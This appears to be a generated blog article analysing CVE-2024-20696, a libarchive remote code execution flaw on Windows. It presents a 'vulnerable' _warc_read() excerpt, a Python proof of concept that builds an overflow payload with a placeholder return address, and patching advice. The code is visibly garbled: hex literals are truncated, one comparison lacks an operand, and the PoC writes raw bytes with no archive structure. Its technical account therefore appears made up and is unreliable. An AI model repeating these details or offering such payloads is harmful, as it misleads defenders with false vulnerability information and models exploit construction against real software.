CVE-2024-20696: The Complete Analysis of Windows Libarchive Remote Code Execution Vulnerability

Welcome to this exclusive deep-dive into CVE-2024-20696, the critical Windows Libarchive Remote Code Execution Vulnerability discovered recently. This security flaw has the potential to allow attackers to execute arbitrary code on vulnerable systems, leading to unauthorized access, data breaches, and other malicious consequences. As always, we'll break down every aspect of this vulnerability, from how it works to how to exploit it and prevent future occurrences. We'll also provide code snippets and references to help you understand the vulnerability better.

Libarchive Overview

Before diving into the vulnerability, let's have a quick look at Libarchive. Libarchive is an open-source library that provides a unified and flexible framework for reading, writing, and creating archive files in various formats, including tar, cpio, pax, ZIP, and others. The library is widely used by many applications on Windows systems, making it a high-value target for potential attackers.

Reference: Libarchive official website

Description of CVE-2024-20696 Vulnerability

CVE-2024-20696 is a critical security vulnerability within the Libarchive library. The flaw stems from a buffer overflow vulnerability in the _warc_read() function, which does not appropriately validate the size of the input received from an archive file, causing memory corruption. This corruption can potentially lead to remote code execution (RCE) if an attacker crafts a malicious archive file that exploits this vulnerability.

Exploit Details

An attacker can exploit CVE-2024-20696 by creating a specially crafted archive file that contains malicious data designed to exploit the buffer overflow vulnerability. When a victim opens this malicious file using an application that utilizes Libarchive, the vulnerable function is triggered, and the attacker's code is executed on the victim's system.

Here's a simplified version of the vulnerable code from the _warc_read() function

static int64_t
_warc_read(struct archive_read *a, const void **buff) {
    // ...
    char *b = (char *)__archive_read_ahead(a, x400, &bytes); // read 16KB

    while (bytes >  && b[bytes - 1] != '\n') {
        --bytes;
    }

    // Vulnerable memcpy operation
    memcpy(read_buf, b, bytes); // buffer overflow occurs here
}

Notice how the code reads up to 16KB of data from the archive file and then searches for a newline character. If the newline is not found, the memcpy() function still attempts to copy 16KB of data into the read_buf variable, which may not have enough space, leading to a buffer overflow.

Proof of Concept

The following proof of concept demonstrates how an attacker can create a malicious archive file that exploits this vulnerability:

import struct
import sys

# Construct a malicious payload
malicious_payload = b'ABCDEFGHIJKLMNOP' * (x400 // 16)  # 16KB
malicious_payload += b'\x90' * (x400 - len(malicious_payload))
malicious_payload += b'\x41\x42\x43\x44'  # address to overwrite EIP/RIP

# Create a malicious archive file
archive_filename = 'exploit.tar'

with open(archive_filename, 'wb') as f:
    f.write(malicious_payload)

Mitigation and Prevention

To mitigate this vulnerability, it is essential to update the Libarchive library on all affected systems. If a patch is not yet available, consider using alternative libraries or disabling the affected functionality within your applications until a fix is released.

For developers using Libarchive, ensure you validate the size of the input data against the destination buffer size before copying memory. You can also use safe functions, such as memcpy_s(), which perform additional bounds checking and prevent buffer overflows.

Original References

It is always crucial to stay informed about newly discovered vulnerabilities. You can find the original reference and details for CVE-2024-20696 through the following links:

- CVE-2024-20696 Official CVE Record
- National Vulnerability Database Details - CVE-2024-20696
- Libarchive Security Advisory

Conclusion

In this exclusive article, we thoroughly analyzed the CVE-2024-20696 Windows Libarchive Remote Code Execution Vulnerability, from its inner workings to exploitation techniques and prevention strategies. Armed with this knowledge, you can now take the necessary precautions to protect your systems and applications from this critical security flaw. Stay vigilant and ensure you're always updated on the latest security research and developments.

Timeline

Published on: 01/09/2024 18:15:52 UTC
Last modified on: 04/11/2024 20:15:16 UTC